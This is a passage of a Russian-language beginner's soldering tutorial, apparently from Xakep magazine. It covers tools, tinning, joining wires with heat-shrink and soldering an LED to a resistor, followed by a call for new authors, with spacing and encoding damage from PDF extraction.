ры жала обго рает и оста ется на жале, а необ гора емая цел люлоз ная губ ка
помога ет его очи щать.

Губ ка для очис тки жала паяль ника

Òåðìîóñàäêè

Тер моуса жива емые труб ки — это труб ки раз ных диамет ров из спе циаль ного
плас тика, которые рез ко сужа ются до опре делен ного раз мера при наг- 
ревании. Их исполь зуют для изо ляции ого лен ных кон тактов как удоб ную
и надеж ную замену изо лен те.

На бор тер моуса док

Îïëåòêà

Про волоч ная мед ная оплетка нуж на для уда ления лиш него при поя, в осо бен- 
ности с плос ких кон тактов.

Ка туш ка мед ной оплетки

Òðåòüÿ ðóêà

Дер жать спа иваемые кон такты в руках не толь ко неудоб но, но и небезо пас но.
Метал личес кие час ти наг рева ются и могут оста вить ожог. На помощь при- 
ходят «третьи руки» — дер жатели для ком понен тов.

Третья рука

У стан дар тных дер жателей обыч но по две руч ки, а так же име ется лупа
для уве личе ния. Мне двух ручек иног да не хва тает, поэто му исполь зую спе- 
циаль но напеча тан ный на 3D-прин тере кас томный дер жатель аж с шестью
руч ками, неболь шими тис ками, со встро енны ми под свет кой, вытяж кой
и разъ емом питания для кон некто ров про водов.

Мой шес тилапый дер жатель

Ïîäñòàâêà

Нес мотря на то что паять мож но и без под став ки, под став ка под паяль ник
прос то необ ходима. Обыч но она вхо дит в ком плект с паяль ником. Под став ки
могут раз личать ся по внеш нему виду, но исполня ют оди нако вые фун кции —
дер жат паяль ник, пока ты не паяешь.

Под став ки под паяль ники

Îëîâîîòñîñ

Еще один спо соб уда лить лиш ний рас плав ленный при пой — исполь зовать
оло воот сос. Прин цип работы это го инс тру мен та (а это имен но инс тру мент,
а не рас ходник, как оплетка) такой же, как у обыч ного шпри ца: в кор пусе соз- 
дает ся раз режение воз духа, и за счет это го рас плав ленный при пой вса сыва- 
ется внутрь. Оло воот сос хорошо под ходит для уда ления при поя из отвер стий.

Оло воот сос

ÆÀËÀ

От дель но погово рим о жалах. Для раз ных паяль ников жала быва ют раз ные.
Для клас сичес кого паяль ника с них ромовым наг ревате лем исполь зуют ся
мед ные стер жне вые жала, а для паль ника с керами чес ким наг ревате лем —
съем ные с никеле вым пок рыти ем. Они быва ют раз ных форм и раз меров, тон- 
кие и широкие, узкие и плос кие. Для паяль ников с мед ными жалами жала
мож но сто чить до нуж ного диамет ра (и фор мы), если они не под ходят, а чис- 
тить желез ной кухон ной губ кой. С жалами для паяль ников с керами чес ким
наг ревате лем все слож нее, их так лег ко под раз мер не под гонишь, поэто му
жала брать надо того типораз мера, который ука зыва ет про изво дитель.
Заметь: на них вооб ще нель зя воз дей ство вать механи чес ки, а очи щать мож но
толь ко влаж ной цел люлоз ной губ кой или спе циаль ными химичес кими средс- 
тва ми.

Жа ла

Продолжение статьи →
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ÂÐÅÌß ÏÀßÒÜ!

Итак, разоб рались, что нуж но для пай ки. Нач нем наконец паять! Тебе пот- 
ребу ются непос редс твен но паяль ник, при пой и флюс. О под став ке под паяль- 
ник и губ ке я не говорю, необ ходимость в них оче вид на.

WARNING

Хоть все мы взрос лые люди и понима ем опас- 
ность ожо гов, все рав но напоми наю — паяль ник
рас каля ется до очень высокой тем перату ры. Будь
акку ратен и не дот рагивай ся до метал личес ких
час тей паяль ника, пока он не осты нет!

Ñïàÿåì äâà ïðîâîäà

Ес ли будешь собирать какой-то девайс, тебе не раз при дет ся спа ивать два
про вода вмес те. Прис тупим к работе.

Для начала зачис ти стрип пером кон чики про водов от изо ляции. Если про- 
вод мно гожиль ный (сос тоит из мно жес тва тонень ких про воло чек), то скру ти
все жилы в косич ку, для проч ности.

За чис тка про водов

Возь ми неболь шой кусочек тер моусад ки и надень его на один из про водов.
Про тяни его пог лубже, что бы слу чай но не задеть паяль ником. Тер моусад ка
понадо бит ся нам поз же для изо ляции.

Тер моусад ка на про воде

Пе ред пай кой не забудь про лужение (то есть нанесе ние при поя) — оно обя- 
затель но! Ина че на про водах будет обра зовы вать ся оксидная плен ка.

Рас ска жу о спо собе, который исполь зую лич но я. Сна чала наносим кис- 
точкой флюс на зачищен ный конец про вода. Затем очи щаем рас кален ное
жало о необ гора емую губ ку (не забудь перед этим хорошень ко смо чить ее
водой!). Пос ле так же, как пись мен ную руч ку, берем в руку паяль ник (конеч но
же, за плас тмас совую часть), под носим при пой к жалу, он рас плав ляет ся,
обра зуя капель ку жид кого метал ла. Чем мень ше про вод, который нуж но
залудить, тем мень ше дол жна быть кап ля. Если при поя слиш ком мно го, его
мож но «снять», обте рев об губ ку, и взять уже мень ше при поя. Пос ле под- 
носим при пой на жале паяль ника к зачищен ному кон цу про вода, сма зан ному
флю сом, и пару секунд удер жива ем паяль ник — при пой быс тро рас течет ся
по про воду и надеж но скре пит все жил ки. То же самое про дела ем с дру гим
про водом.

Лу жение

Даль ше все прос то: соеди ни два залужен ных кон ца про водов меж ду собой
и дот ронь ся до них жалом паяль ника с кап лей при поя. Нем ного дер жишь...
и про вода соеди нились! Как видишь, пай ка — это доволь но прос то.

Пай ка

Те перь необ ходимо изо лиро вать мес то спай ки — уста нови тер моусад ку,
насажен ную ранее на мес то спай ки (наде юсь, ты про нее не забыл), и наг рей.
Наг ревать ее нуж но рав номер но, делать это мож но как паяль ным феном, так
и обыч ной зажигал кой. Через нес коль ко секунд наг ревания тер моусад ка рез- 
ко сузит ся и надеж но изо лиру ет ого лен ную часть нового про вода.

Изо ляция про вода тер моусад кой

Про вода надеж но спа яны, теперь раз делить их мож но, толь ко отку сив кусач- 
ками или рас паяв паяль ником.

Ïðèïàèâàåì ðåçèñòîð ê ñâåòîäèîäó

В  я рас ска зывал, что све- 
тоди од отдель но от резис тора к батарей ке под клю чать нель зя — он может
перего реть. Давай рас смот рим пай ку «ног» элек трон ных ком понен тов
на этом при мере.

од ной из сво их ста тей по циф ровой элек тро нике

INFO

Элек трон ные ком понен ты пос тавля ются с уже
залужен ными кон такта ми, поэто му, если ты
паяешь готовые элек трон ные ком понен ты,
лужение мож но про пус тить.

Све тоди од и резис тор

Для начала нанесем флюс на те кон такты, которые собира емся паять. Так
как резис тор поляр ности не име ет, выбор ноги не име ет зна чения. Теперь
прос то соеди ним кон такты и нанесем на пересе кающуюся часть кап лю при- 
поя. Готово!

Спа янные све тоди од и резис тор

ÂÛÂÎÄÛ

На деюсь, про читав эту статью, ты смог осво ить новый полез ный навык — пай- 
ку. Теперь, если ты захочешь соб рать свое элек трон ное устрой ство
или модифи циро вать чужое, ты без тру да смо жешь спа ять любые про вода
и ком понен ты.

https://xakep.ru/2022/04/15/mosfet/


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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